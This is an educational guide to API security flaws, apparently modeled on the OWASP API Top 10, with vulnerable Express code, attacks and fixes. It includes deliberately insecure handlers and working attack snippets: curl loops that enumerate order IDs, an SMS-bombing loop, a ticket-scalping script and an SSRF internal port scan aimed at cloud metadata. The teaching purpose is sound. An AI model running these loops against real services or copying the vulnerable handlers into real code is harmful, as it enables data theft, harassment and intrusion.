Broken Object Level Authorization
APIs tend to expose endpoints that handle object identifiers — orders, invoices, profiles — creating a wide attack surface. An object level authorization check should exist on every function that accesses a data source using an ID supplied by the client.
The Normal Flow
A food-delivery customer checks the status of their own order. Everything looks fine on the surface.
Order #8841 — Out for delivery
Alice's Home Kitchen → 22 Jalan Besar
Customer: You
Total: $18.40
{
"id": 8841,
"customer_name": "You",
"delivery_address": "22 Jalan Besar, #04-11",
"phone": "+65 9***3210",
"status": "out_for_delivery",
"payment": { "card_last4": "4242" }
}
The Vulnerable Code
The orders endpoint trusts whatever ID is in the URL — it never checks who actually placed that order.
// GET /v2/orders/:id
app.get('/v2/orders/:id', authenticateToken, async (req, res) => {
// ❌ No check: does req.user own this order?
// ❌ Any authenticated user can request any order ID
const order = await db.query(
'SELECT * FROM orders WHERE id = $1',
[req.params.id]
);
// ❌ Returns every column, including PII (Personally Identifiable Information)
res.json(order);
});
- The route accepts any order ID from an authenticated, but otherwise arbitrary, user
- There's no object-level check — it never verifies the requester is the customer (or courier) tied to this order
- Being logged in is treated as being authorized — those are two different things
- Sequential integer IDs make every other order trivially guessable
The Attack
The attacker notices the order ID in the URL and simply changes it. No special tools needed — just DevTools or curl.
▶ {
id: 8842,
customer_name: "Marcus Tan", ← Not our order!
delivery_address: "17 Tiong Bahru Rd, #12-04",
phone: "+65 9123 4567", ← Full PII leaked
status: "out_for_delivery",
payment: { card_last4: "7731" }
}
# One valid token + a for loop = the entire orders table
for id in $(seq 1 50000); do
curl -s "https://api.foodrunner.com/v2/orders/${id}" \
-H "Authorization: Bearer $MY_OWN_TOKEN" >> dump.jsonl
done
# Result: 50,000 names, home addresses, phone numbers, card fragments
# Total time: a few minutes on a residential connection
# Tools required: curl + a for loop — the same "attacker" is a paying customer
The Impact
What the attacker now has — and what it means for real people and the business.
| id | customer_name | address | phone | card |
|---|---|---|---|---|
| 8841 | You | 22 Jalan Besar | 9***3210 | 4242 |
| 8842 | Marcus Tan | 17 Tiong Bahru Rd | 9123 4567 | 7731 |
| 8843 | Priya Nair | 88 Serangoon Ave 3 | 8812 9091 | 5510 |
| 8844 | David Lim | 5 Punggol Walk | 9722 1145 | 3389 |
| ... 49,996 more rows ... | ||||
What happens once home addresses and order histories reach someone who shouldn't have them.
Physical Safety Risk
Home addresses + delivery times tell an attacker exactly when someone isn't home
Fraud
Card fragments plus name and address help attackers pass "verification" checks elsewhere
Regulatory Fines
GDPR (General Data Protection Regulation): up to €20M or 4% of global revenue
Reputation Damage
One enumerable endpoint becomes the headline: "Everyone's orders were public"
Any logged-in user of USPS's Informed Visibility tool could query any other user's account data just by changing an ID in the request — no ownership check at all. Around 60 million accounts were affected.
Source: Krebs on Security
In the days after the January 6 Capitol riot, a researcher was able to scrape essentially the entire platform — including deleted posts and their embedded location metadata — because posts were numbered sequentially and reachable with no authentication at all.
Source: Wikipedia
The Fix
Check ownership on every object access, minimise what's returned, and stop making IDs guessable.
app.get('/v2/orders/:id', authenticateToken, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = $1',
[req.params.id]
);
if (!order) return res.status(404).json({ error: 'Not found' });
// ✅ Object-level check: does this order belong to the requester,
// or are they the assigned courier / an admin?
const isOwner = order.customer_id === req.user.id;
const isCourier = order.courier_id === req.user.id;
if (!isOwner && !isCourier && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
// ✅ Return only a DTO (Data Transfer Object) — never the raw row
res.json({
id: order.id,
status: order.status,
address: isOwner ? order.delivery_address : undefined,
});
});
A valid token proves who is asking, not what they're allowed to touch.
Do it in a shared middleware or policy layer, not copy-pasted per route — that's how checks get forgotten.
UUIDs (Universally Unique Identifiers) are far harder
to enumerate than 1, 2, 3... — though
they're not a substitute for a real
authorization check.
Use DTOs (Data Transfer Objects), not raw database rows — a field that's never returned can't be leaked.
Write tests that assert User A can never fetch User B's objects — run them on every build.
A burst of "forbidden" responses from one token is a strong signal of ID enumeration.
Broken Authentication
Authentication mechanisms are often implemented incorrectly, letting attackers compromise tokens or exploit flawed logic to assume other users' identities — temporarily or permanently. If an API can't reliably answer "who is actually asking?", every other control built on top of that answer is compromised too.
The Normal Flow
A customer logs into a mobile banking app. The API checks their password and hands back a JWT (JSON Web Token) to prove who they are on every request that follows.
✅ Signed in as alice@example.com
{
"token": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyXzQ0NzEi...",
"expires_in": 3600
}
{ "alg": "HS256", "typ": "JWT" }
.
{ "sub": "user_4471", "role": "user", "iat": 1710000000 }
The Vulnerable Code
The token-verification code trusts whatever algorithm the JWT itself claims to use, never checks expiry, and the login route has no throttling or MFA.
const jwt = require('jsonwebtoken');
function authenticateToken(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.decode(token, { complete: true });
// ❌ Trusts the "alg" the token claims, instead of pinning one server-side
const alg = decoded.header.alg;
if (alg === 'none') {
// ❌ "none" means there is no signature at all — accepted anyway
req.user = decoded.payload;
return next();
}
const verified = jwt.verify(token, SECRET, { algorithms: [alg] });
// ❌ verified.exp is never checked — a token minted a year ago still works
req.user = verified;
next();
}
// POST /auth/login — no rate limiting, no MFA (Multi-Factor Authentication)
app.post('/auth/login', async (req, res) => {
// ❌ Unlimited attempts per second, from any IP, forever
const user = await db.findByEmail(req.body.email);
if (user && await bcrypt.compare(req.body.password, user.hash)) {
return res.json({ token: signToken(user), expires_in: 3600 });
}
res.status(401).json({ error: 'Invalid credentials' });
});
- The verifier reads
algfrom the token's own header instead of requiring a specific algorithm chosen by the server - Setting
"alg": "none"means "no signature" — a client can produce this token entirely by itself - Nothing checks the token's
exp(expiry) claim, so a stolen or leaked token remains valid indefinitely
The Attack
Two independent paths in: forge a token that was never actually signed, or simply try leaked passwords until one works.
▶ 200 OK
{
accounts: [ ...every customer account... ],
} ← "alg: none" accepted, role: admin honored
alg from the attacker's own header, saw
"none", and skipped
verification entirely.
No rate limiting and no MFA mean a leaked password list from an unrelated breach can just be replayed here.
Leaked credential list
alice@example.com:Summer2019!
bob@example.com:P@ssw0rd
+ 2.9M more pairs
The Impact
Once identity itself can be forged or brute-forced, every downstream control that assumed "logged in means legitimate" fails too.
What a forged or stolen identity actually buys an attacker once they're "logged in".
Account Takeover
Full control of a victim's account — read their data, change their settings, act as them
Financial Fraud
An admin-forged token or a stolen banking session can initiate transfers directly
Regulatory Fines
Weak authentication controls are a recurring finding in breach notification penalties
Reputational Damage
"Anyone could log in as anyone" is the kind of headline that ends customer trust
An attacker who had bought a contractor's stolen credentials bombarded them with MFA (Multi-Factor Authentication) push notifications, then posed as IT support on Slack until the contractor approved one — gaining a foothold that reportedly led to broad internal access, later attributed to the Lapsus$ group.
Source: Wikipedia
Attackers got in through a single compromised VPN password for an account that had no MFA enabled, on a VPN profile the company believed was no longer in use. The resulting ransomware shutdown led to fuel shortages across the US East Coast.
The Fix
Pin the algorithm server-side, enforce expiry, throttle logins, and require MFA — never trust a token to describe its own trustworthiness.
const jwt = require('jsonwebtoken');
const rateLimit = require('express-rate-limit');
function authenticateToken(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Missing token' });
try {
// ✅ Algorithm is pinned server-side — the token's own header is ignored
const verified = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
// ✅ jwt.verify() already rejects an expired "exp" claim by default
req.user = verified;
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid or expired token' });
}
}
// ✅ Rate limit + lockout on the login route itself
const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
app.post('/auth/login', loginLimiter, async (req, res) => {
const user = await db.findByEmail(req.body.email);
if (!user || !await bcrypt.compare(req.body.password, user.hash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// ✅ Require a second factor before issuing a full-access token
if (user.mfaEnabled && !verifyMfaCode(req.body.mfaCode, user)) {
return res.status(401).json({ error: 'MFA required' });
}
res.json({ token: signToken(user, { expiresIn: '15m' }), expires_in: 900 });
});
Never let a token's own header decide how it gets verified — the server should demand one specific algorithm and reject anything else.
A short-lived access token limits how long a stolen one stays useful; a separate refresh token handles staying logged in.
Slow down or block an IP or account after a handful of failures — that alone defeats most credential stuffing.
A second factor means a leaked password alone is no longer enough to take over an account.
Use vetted, actively-maintained libraries for signing and verifying tokens — this class of bug is exactly what they've already fixed once.
Impossible-travel logins, sudden spikes in failed attempts, or logins from new devices are strong signals worth alerting on.
Broken Object Property Level Authorization
This category merges two former ones: exposing more object properties in a response than the client actually needs, and accepting more properties in a request than the client should be allowed to set. Both share the same root cause — authorization checked at the level of "is this a valid object," never at the level of individual object properties.
The Normal Flow
A user of a social fitness app edits their display name in Settings. A small, everyday update.
✅ Profile updated
// Request body — only what the form actually shows
{
"display_name": "Alex"
}
// Response body — the UI only renders two of these fields
{
"id": 501,
"display_name": "Alex",
"bio": "Marathon training, 5 days a week",
"avatar_url": "/img/avatars/501.png",
"email": "alex@example.com",
"password_hash": "$2b$12$Kj9x...",
"is_admin": false,
"is_verified": true,
"internal_notes": "Flagged for refund dispute, 2025-11",
"stripe_customer_id": "cus_QW8f2kd9"
}
The Vulnerable Code
Two flaws in the same handler pair: the read side sends back the whole row, and the write side accepts the whole request body.
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
const user = await db.users.findById(req.params.id);
// ❌ Serializes the entire row — every column, no allowlist
res.json(user);
});
// PATCH /api/users/:id/profile
app.patch('/api/users/:id/profile', authenticateToken, async (req, res) => {
const user = await db.users.findById(req.params.id);
// ❌ Mass assignment: every key in req.body is written straight
// onto the model, with no check on which fields are editable
Object.assign(user, req.body);
await user.save();
res.json(user);
});
res.json(user)hands back the raw database row, includingpassword_hash,is_admin,internal_notes, andstripe_customer_id- The client app just never displays those fields — but the data left the server and is sitting in the browser's network tab
- "The UI doesn't show it" is not the same as "the API doesn't return it"
Object.assign(user, req.body)writes every key the client sent, not just the ones the settings form offers- There is no allowlist of which properties a client is actually permitted to set
- A field with no UI control for it —
role,is_verified— is still perfectly writable over the API
The Attack
The same endpoint pair, worked in both directions: read whatever wasn't meant to be seen, write whatever wasn't meant to be set.
▶ {
id: 501,
display_name: "Alex",
bio: "Marathon training, 5 days a week",
avatar_url: "/img/avatars/501.png",
email: "alex@example.com",
password_hash: "$2b$12$Kj9x...", ← crackable offline
is_admin: false,
is_verified: true,
internal_notes: "Flagged for refund dispute, 2025-11",
stripe_customer_id: "cus_QW8f2kd9" ← billing/PII pivot
}
▶ {
id: 501,
display_name: "Alex",
role: "admin", ← no UI button sets this — the API just accepted it
is_verified: true,
...
}
role and is_verified aren't on
the settings form anywhere — but the PATCH handler never
checked which fields it should accept, only that the JSON
was well-formed.
The Impact
A one-line "just assign the body" habit can hand out admin access as easily as it leaks a password hash.
Two directions of the same flaw, four very different kinds of damage.
Privilege Escalation
An ordinary user sets role: "admin" on their
own account and walks straight into admin tooling
Credential Exposure
password_hash leaked in a JSON response is a
free input for offline cracking attempts
Billing & PII Exposure
stripe_customer_id ties a profile straight
to a real billing account elsewhere
Regulatory Exposure
Internal notes and identifiers leaking to end users is exactly the kind of finding a data-protection audit flags first
Venmo's API returned a public feed of transactions by default — who paid whom, and the message attached, though not the amount. Years of research, including a widely-cited public dataset of roughly 207 million transactions compiled from the API, showed most users never knew this data was exposed or how to turn it off.
Source: Wikipedia
Security researchers found Peloton's API would return a user's age, gender, city, weight and workout history even when their profile was explicitly set to private — the privacy setting was only enforced in the app's UI, not on the API's own fields. Peloton fixed it after responsible disclosure.
The Fix
Allowlist properties explicitly on both sides — what a client can read, and separately, what a client can write.
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', authenticateToken, async (req, res) => {
const user = await db.users.findById(req.params.id);
if (!user) return res.status(404).json({ error: 'Not found' });
// ✅ Explicit read allowlist — a DTO (Data Transfer Object), not the raw row
res.json({
id: user.id,
display_name: user.display_name,
bio: user.bio,
avatar_url: user.avatar_url,
});
});
// PATCH /api/users/:id/profile
app.patch('/api/users/:id/profile', authenticateToken, async (req, res) => {
const user = await db.users.findById(req.params.id);
if (!user) return res.status(404).json({ error: 'Not found' });
// ✅ Explicit write allowlist — only these two fields are ever settable,
// no matter what else the request body contains
const { display_name, bio } = req.body;
if (display_name !== undefined) user.display_name = display_name;
if (bio !== undefined) user.bio = bio;
await user.save();
res.json({ id: user.id, display_name: user.display_name, bio: user.bio });
});
Name exactly which fields are readable and which are writable — a blocklist only stops the fields someone already thought of.
Object.assign(model, req.body) and ORM
(Object-Relational Mapping) calls like
.update(req.body) hand the client the same
power as your own server code.
"What a client can see" and "what a client can change" are different questions, with different — and usually smaller — answer sets.
Adding a column shouldn't silently make it readable or writable over the API — exposure has to be opted in.
Libraries that fail closed on an unexpected key catch mass-assignment attempts before they ever reach the model.
Any handler that takes a whole request body and writes it wholesale is worth a second look before it ships anywhere.
Unrestricted Resource Consumption
Answering an API request costs real resources — network bandwidth, CPU, memory, storage, and pay-per-use services like SMS, email, or biometric checks billed by a third-party provider. Any endpoint with no ceiling on how much of that it will spend, per request or per client, is an open invitation to run up the bill or take the service down.
The Normal Flow
A new user signs up and asks for a one-time passcode to verify their phone number. The code arrives by SMS a second later.
Code sent! Check your phone for the 6-digit passcode.
{
"success": true,
"message": "OTP sent",
"expires_in": 300
}
The Vulnerable Code
Two endpoints, two flavours of the same mistake: neither one puts a ceiling on how much it's willing to spend.
// POST /api/auth/send-otp
app.post('/api/auth/send-otp', async (req, res) => {
const { phone } = req.body;
// ❌ No rate limit per phone number or per IP
// ❌ No CAPTCHA — a script can call this as fast as it likes
// ❌ No daily cap on how many codes one number can receive
const otp = generateOtp();
await redis.set(`otp:${phone}`, otp, 'EX', 300);
await smsProvider.send(phone, `Your code is ${otp}`); // $0.02/msg
res.json({ success: true, message: 'OTP sent' });
});
// GET /api/reports/export?from=2015-01-01&to=2026-01-01
app.get('/api/reports/export', authenticateToken, async (req, res) => {
const { from, to } = req.query;
// ❌ No limit on date range, no pagination, no max row count
const rows = await db.query(
'SELECT * FROM transactions WHERE date BETWEEN $1 AND $2',
[from, to]
);
res.json(rows); // ❌ Serializes the whole result set in one response
});
- No limiter tied to the phone number — the same number can be texted thousands of times a minute
- No limiter tied to the IP either, so even a naive "one request per second" cap is never hit
- No CAPTCHA or proof-of-work standing between a script and a billable SMS send
- No daily cap — the endpoint will happily keep spending the business's money all day
from/to accept any date range the
client sends, and the query has no LIMIT, no
pagination cursor, and no maximum row count. A client asking
for eleven years of data forces the server to load and
JSON-serialize the entire table in memory.
The Attack
Two different ways to abuse the same lack of limits: one drains the SMS budget (or harasses a real person), the other just crashes the server.
# No CAPTCHA, no rate limit — just hammer the endpoint
for i in $(seq 1 5000); do
curl -s -X POST https://app.shoprunner.com/api/auth/send-otp \
-H "Content-Type: application/json" \
-d '{"phone": "+65 9123 4567"}' &
done
# Result: the target's phone gets an SMS every few hundred milliseconds
# Same script, two payoffs: run up the SMS bill, or harass a real person
▶ (pending...)
← eleven years, one request, no limit and no pagination
transactions table into
a single JSON response.
FATAL ERROR: Reached heap limit Allocation failed
JavaScript heap out of memory
1: 0x104a2 node::Abort()
2: 0x104f8 v8::internal::V8::FatalProcessOutOfMemory()
3: 0x10a1c v8::internal::Heap::FatalProcessOutOfMemory()
[app] worker pid 4821 killed (OOM)
[app] 40,231,884 rows serialized before crash
[app] queue depth: 312 requests waiting on a dead worker
The Impact
What unrestricted consumption actually costs — in money, in uptime, and in real incidents where it happened.
Illustrative numbers for a single unthrottled signup flow left running for one bad afternoon.
An attacker queried a single API for over a month before detection, pulling data one account at a time with no effective rate limiting to slow them down or flag the pattern. About 37 million customer accounts were exposed.
Source: Krebs on Security
Researchers showed Snapchat's Find Friends API would match phone numbers to usernames with no meaningful rate limit, letting them compile a database of 4.6 million usernames and phone numbers before Snapchat clamped it down.
Source: Wikipedia
The Fix
Put an explicit, server-enforced ceiling on every resource an endpoint can consume — identity-aware, not just IP-based.
const otpLimiter = require('./middleware/otpRateLimiter');
app.post('/api/auth/send-otp',
// ✅ Rate limit by phone number AND by IP, with exponential backoff
otpLimiter({ keyBy: ['phone', 'ip'], backoff: 'exponential' }),
// ✅ Require a solved CAPTCHA before an SMS is ever sent
verifyCaptcha,
async (req, res) => {
const { phone } = req.body;
// ✅ Hard daily cap per phone number, enforced server-side
const sentToday = await redis.incr(`otp:count:${phone}:${todayKey()}`);
if (sentToday > 5) {
return res.status(429).json({ error: 'Daily OTP limit reached' });
}
const otp = generateOtp();
await redis.set(`otp:${phone}`, otp, 'EX', 300);
await smsProvider.send(phone, `Your code is ${otp}`);
res.json({ success: true, message: 'OTP sent' });
});
// GET /api/reports/export?from=...&to=...&limit=...&cursor=...
const MAX_PAGE_SIZE = 500;
app.get('/api/reports/export', authenticateToken, async (req, res) => {
// ✅ Clamp the requested page size — the client never controls the ceiling
const limit = Math.min(parseInt(req.query.limit) || 100, MAX_PAGE_SIZE);
const cursor = req.query.cursor || null;
const rows = await db.query(
'SELECT * FROM transactions WHERE date BETWEEN $1 AND $2 AND id > $3 ORDER BY id LIMIT $4',
[req.query.from, req.query.to, cursor, limit]
);
res.json({ rows, next_cursor: rows.at(-1)?.id ?? null });
});
Records returned, file size, execution time, request body size — if it's not capped, assume a client will eventually push it to infinity.
IPs are shared behind NAT and CGNAT, and trivially spoofed or rotated — key limits off the account, API key, or phone number as well.
SMS, email, and biometric verification are billed per call — give each one its own budget, quota, and alerting.
A CAPTCHA (or equivalent) in front of anything that costs money or compute per call filters out the scripts that abuse it.
A sudden spike in the SMS bill or database load isn't just an ops metric — it's often the earliest evidence of an attack in progress.
Centralised rate limiting and payload caps can't be bypassed just because one route's developer forgot to add them.
Broken Function Level Authorization
Complex access policies spanning different roles, groups and hierarchies — with an unclear line between "admin" and "regular" functions — tend to produce authorization gaps. Exploiting them lets an attacker reach other users' resources, or functions meant only for administrators, simply by calling the right endpoint directly.
The Normal Flow
A regular "member" of a SaaS admin dashboard logs in and sees exactly the actions their role is meant to have.
Welcome back, Jamie
Role: Member — Workspace: Acme Corp
{
"id": 482,
"name": "Jamie Ong",
"email": "jamie@acmecorp.com",
"role": "member"
}
The Vulnerable Code
Admin routes live under the same API, behind the same "are you logged in?" check — but nothing ever asks "are you an admin?"
// Regular member routes — same router, same base path
app.get('/api/users/:id', authenticateToken, getUser);
app.patch('/api/users/:id', authenticateToken, updateOwnProfile);
// Admin-only routes — the frontend just never renders a button for these
app.delete('/api/admin/users/:id/delete', authenticateToken, deleteUser);
app.get('/api/admin/export-all-users', authenticateToken, exportAllUsers);
app.patch('/api/admin/settings', authenticateToken, updateWorkspaceSettings);
// ❌ authenticateToken only confirms a valid, logged-in session
// ❌ It never checks req.user.role before reaching any /api/admin/* handler
// ❌ Any member, viewer, or contractor account can call these directly
authenticateTokenproves a session is valid — it says nothing about what that session's role is allowed to do- The admin-only handlers never call a second check like
requireRole('admin')before running - The "boundary" between member and admin functions exists only in the frontend, which simply doesn't render admin buttons for members
- Anyone who discovers the URL — from the app's own JS bundle, an API doc, or a leaked Postman collection — can call it with their own, perfectly valid, non-admin token
The Attack
A logged-in member finds the admin path and just... calls it. Their own valid token is enough — no privilege escalation needed.
▶ 200 OK
{
exported: 14203,
users: [ { id: 1, name: "...", email: "...", role: "..." }, ... ]
} ← Jamie's token has role: "member", not "admin"
# Step 1: the frontend still has to know these URLs exist — grep the bundle
grep -oE '"/api/admin/[a-zA-Z0-9/_-]+"' main.bundle.js | sort -u
# Result:
"/api/admin/export-all-users"
"/api/admin/settings"
"/api/admin/users/:id/delete"
# Step 2: confirm each one with a regular, non-admin token
for path in export-all-users settings; do
curl -s -o /dev/null -w "%{http_code} /api/admin/${path}\n" \
"https://dash.cloudsuite.io/api/admin/${path}" \
-H "Authorization: Bearer $MEMBER_TOKEN"
done
# 200 /api/admin/export-all-users ← should have been 403
# 200 /api/admin/settings ← should have been 403
The Impact
What a regular account can now do once it's discovered it can call admin functions.
A single unguarded admin route can hand a regular account the same power as the platform owner.
Mass Data Export
Every user record in the workspace, pulled in a single authenticated call
Deletion & Tampering
Unauthorized accounts deleted, edited, or reassigned by someone who was never meant to touch them
Privilege & Config Changes
Workspace settings — including who else counts as an admin — rewritten from a member account
Regulatory & Reputational Fallout
A breach traced to "a normal user called an admin endpoint" is a hard one to explain to regulators
A flaw in the "View As" preview feature let attackers generate valid access tokens for other people's accounts — tokens that, once obtained, worked with the same broad set of functions as the real owner's own session. Facebook forcibly logged out roughly 50 million accounts while it fixed it.
Source: Wikipedia
Attackers social-engineered their way to credentials for an internal support tool that let staff manage any account. Functions in that tool — meant only for a small support team — were used to hijack a wave of high-profile verified accounts and run a Bitcoin scam.
Source: Wikipedia
The Fix
Enforce role checks server-side, centrally, and by default — never let the frontend be the only thing standing between a member and an admin route.
// middleware/requireRole.js
function requireRole(...allowedRoles) {
return (req, res, next) => {
if (!allowedRoles.includes(req.user.role)) {
// ✅ Deny by default — unknown or insufficient role is always a 403
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
}
// routes/admin.js
const adminRouter = express.Router();
// ✅ Applied once, centrally, to every route on this router — not per-handler
adminRouter.use(authenticateToken, requireRole('admin'));
adminRouter.delete('/users/:id/delete', deleteUser);
adminRouter.get('/export-all-users', exportAllUsers);
adminRouter.patch('/settings', updateWorkspaceSettings);
// ✅ Distinct, consistently-guarded path prefix for every admin function
app.use('/api/admin', adminRouter);
Hiding a button stops confused users, not attackers — the server has to refuse the call, not just the frontend decline to render it.
Wire requireRole() into the router or API
gateway once — that way a new admin route inherits
protection instead of needing someone to
remember it.
Every function should start from "no one may call this" and name exactly which roles are added back, rather than starting open and hoping nothing was missed.
A consistent /api/admin/* boundary makes
it possible to enforce one policy over an entire class
of functions at once.
Write automated tests that assert a non-admin token gets a 403 on every admin route — run them on every build.
A member's token repeatedly probing
/api/admin/* is a strong signal someone is
looking for a function they shouldn't have.
Unrestricted Access to Sensitive Business Flows
Some API endpoints expose a business flow — buying a ticket, posting a comment, redeeming a coupon — without accounting for how that functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from an implementation bug.
The Normal Flow
A real fan logs into a ticketing site and reserves 2 tickets for a concert. Every part of this request is exactly what it should be.
✅ Reserved — you have 10 minutes to complete checkout
{
"reservation_id": "rsv_8f21c",
"event_id": 1247,
"quantity": 2,
"account_id": "acc_9931",
"status": "confirmed",
"hold_expires_in_s": 600
}
The Vulnerable Design
Read the code again — every check is correct. The flaw isn't in this file at all.
// POST /api/events/:id/tickets/reserve
app.post('/api/events/:id/tickets/reserve', authenticateToken, async (req, res) => {
// ✅ Requires a real, authenticated account
// ✅ Validates quantity is a positive integer within the per-order cap
const { quantity } = req.body;
if (!Number.isInteger(quantity) || quantity < 1 || quantity > 4) {
return res.status(400).json({ error: 'Invalid quantity' });
}
const event = await db.getEvent(req.params.id);
// ✅ Confirms real inventory is available before holding seats
if (event.ticketsAvailable < quantity) {
return res.status(409).json({ error: 'Not enough tickets available' });
}
const reservation = await db.createReservation(req.user.id, event.id, quantity);
res.json({ reservation_id: reservation.id, status: 'confirmed', hold_expires_in_s: 600 });
});
// POST /api/checkout
app.post('/api/checkout', authenticateToken, async (req, res) => {
// ✅ Validates the reservation belongs to this account and hasn't expired
// ✅ Validates the payment method with the processor before confirming
const reservation = await db.getReservation(req.body.reservation_id);
if (reservation.account_id !== req.user.id || reservation.expired) {
return res.status(400).json({ error: 'Invalid or expired reservation' });
}
const payment = await paymentProcessor.charge(req.user, reservation.total);
if (!payment.success) return res.status(402).json({ error: 'Payment declined' });
await db.finalizeSale(reservation.id);
res.json({ status: 'purchased' });
});
- No per-account or per-payment-method purchase velocity limit — one identity making one reservation, or five hundred identities each making one, look identical to this code
- No bot or headless-browser / device-fingerprint detection on the reserve flow
- No CAPTCHA or proof-of-work gating specifically the reserve step — only generic rate-limiting on raw HTTP requests, which a distributed swarm of accounts easily stays under
- No queue or fairness mechanism to smooth out demand that spikes far beyond real human arrival rates
The Attack
One script, hundreds of throwaway accounts, and a sale that's effectively over before real fans finish loading the page.
Each individual step below is a perfectly valid API call — the abuse only becomes visible when you look at all of them together.
# Every call below is individually valid: real account, real session, real payment
async def grab_tickets(event_id, n_accounts=500):
accounts = await asyncio.gather(*[
create_disposable_account() for _ in range(n_accounts)
])
# Each "fan" reserves the max allowed quantity — nothing here is rejected,
# because nothing about a single reservation looks abusive
reservations = await asyncio.gather(*[
reserve(account, event_id, quantity=4) for account in accounts
])
await asyncio.gather(*[
checkout(account, r.reservation_id, payment=prepaid_card_pool.next())
for account, r in zip(accounts, reservations)
])
# Result: ~2,000 tickets held by one operator within seconds of the sale opening
# Tools required: an async HTTP client and a pool of disposable emails / cards
The Impact
Real fans lose access to inventory that never really went on sale to them.
Illustrative figures reflecting the pattern industry bot-mitigation reports describe across major high-demand on-sales — not tied to a single incident.
Bots and resellers hammered Ticketmaster's presale purchase flow for Taylor Swift's Eras Tour far beyond real fan demand, overwhelming the system and eventually triggering a US Senate hearing into ticketing practices. Nothing was "hacked" — the purchase flow simply had no effective limit on automated, high-velocity buying.
Source: Wikipedia
The Fix
There's no line of buggy code to patch — the fix is layering identity, velocity and friction signals onto the flow itself.
app.post('/api/events/:id/tickets/reserve', authenticateToken, async (req, res) => {
// ✅ Purchase velocity: cap reservations per account AND per payment method,
// not just per raw HTTP request
const recent = await velocity.count({
accountId: req.user.id,
paymentFingerprint: req.user.savedPaymentFingerprint,
windowSeconds: 300,
});
if (recent.reservations >= 1) {
return res.status(429).json({ error: 'Purchase limit reached for this sale' });
}
// ✅ Device / bot signal: reject headless or fingerprint-farmed clients
// specifically on this flow, not just globally
if (await botSignal.isLikelyAutomated(req.deviceFingerprint)) {
return res.status(403).json({ error: 'Automated client detected' });
}
// ✅ Friction gate: proof-of-work / CAPTCHA in front of THIS step only,
// where the abuse actually happens — not sprinkled everywhere
if (!(await challenge.verify(req.body.challengeToken))) {
return res.status(403).json({ error: 'Challenge verification failed' });
}
// ✅ Fairness under load: route to a virtual waiting room instead of
// letting raw request speed decide who wins
const admitted = await waitingRoom.admit(req.user.id, req.params.id);
if (!admitted) {
return res.status(202).json({ status: 'queued', queue_position: admitted.position });
}
// ... existing quantity + inventory checks, unchanged ...
});
Signup, purchase, comment posting, coupon redemption — list them out and threat-model each one for automated abuse, not just for bugs.
If a flow has no velocity or identity constraints, working exactly as designed is enough to be exploited at scale.
Account age, device fingerprint, request timing and payment method reuse are each easy to fake alone — much harder to fake all together.
Put a CAPTCHA or queue at the specific step being abused — blanket friction on every endpoint just degrades the experience for real users.
500 accounts each making one request each will sail under a per-IP or per-token request limit — velocity limits need to key on the flow.
Checkout success rate and time-to-sellout belong on a security dashboard, not just an analytics one.
Server Side Request Forgery
SSRF (Server Side Request Forgery) flaws happen when an API fetches a remote resource without validating the user-supplied URI. This lets an attacker coerce the server into sending a crafted request to an unexpected destination — even one protected by a firewall or VPN.
The Normal Flow
A merchant sets a company logo URL in their invoice settings, then exports an invoice as a PDF.
Logo fetched and embedded — invoice ready to download
{
"logo_url": "https://mycompany.com/logo.png"
}
GET https://mycompany.com/logo.png → 200 OK (image/png)
Logo embedded into invoice-4471.pdf
The Vulnerable Code
The export handler fetches whatever URL the client sends — no allowlist, no validation, no restriction on where that request can go.
// POST /api/invoices/:id/export-pdf
app.post('/api/invoices/:id/export-pdf', authenticateToken, async (req, res) => {
const { logo_url } = req.body;
// ❌ No allowlist — any URL the client supplies is fetched, as-is
// ❌ No scheme/host validation, no check against private IP ranges
// ❌ Redirects are followed by default — the final destination is unchecked
const logoResponse = await fetch(logo_url);
const logoBuffer = await logoResponse.arrayBuffer();
// ❌ Whatever came back — even if it isn't really an image — gets embedded
const pdf = await renderInvoicePdf(req.params.id, logoBuffer);
res.contentType('application/pdf').send(pdf);
});
logo_urlcomes straight from the client and becomes the destination of a server-initiated HTTP request- There's no allowlist restricting which hosts the server is willing to fetch
- Nothing blocks private, loopback, or link-local IP ranges — the server will happily fetch its own internal network
- Redirects are followed automatically, so even a URL that looks safe at first can hop somewhere it shouldn't
169.254.169.254 that trusts any
request purely because it originated from the instance
itself — no credentials required. A server that will fetch
any URL a client provides can be tricked into
fetching that endpoint on the attacker's behalf.
The Attack
Instead of a logo image, the attacker points
logo_url at internal-only addresses the server can
reach — but the attacker can't.
▶ PDF returned. Embedded "logo" text layer reads:
{
"AccessKeyId": "ASIAV3XPB7QGEXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ← Live AWS credentials
"Token": "IQoJb3JpZ2luX2VjE...(truncated)",
"Expiration": "2026-09-16T14:00:00Z"
}
# The export-pdf endpoint becomes a free internal port scanner:
# a slow response, a 200, or a timeout each leak something.
for ip in $(seq 1 254); do
for port in 22 3306 5432 6379 8080 9200; do
curl -s -m 2 -X POST https://shop.example.com/api/invoices/4471/export-pdf \
-H "Authorization: Bearer $MY_OWN_TOKEN" \
-d "{\"logo_url\":\"http://10.0.0.${ip}:${port}/\"}" \
-o /dev/null -w "10.0.0.${ip}:${port} -> %{http_code} (%{time_total}s)\n"
done
done
# Also tried directly, since internal DNS often resolves service names:
curl -s -X POST https://shop.example.com/api/invoices/4471/export-pdf \
-H "Authorization: Bearer $MY_OWN_TOKEN" \
-d '{"logo_url":"http://internal-admin:8080/"}'
# Result: a live map of internal-only hosts and services that were never
# meant to be reachable from outside the network at all.
The Impact
What one unchecked server-side fetch can hand over — and why it rarely stops at stolen credentials.
A single trusted server making requests on the attacker's behalf tends to cascade far beyond the original endpoint.
Cloud Account Takeover
Stolen metadata credentials can grant access to storage buckets, databases, and other cloud resources the server's role can reach
Internal Service Exposure
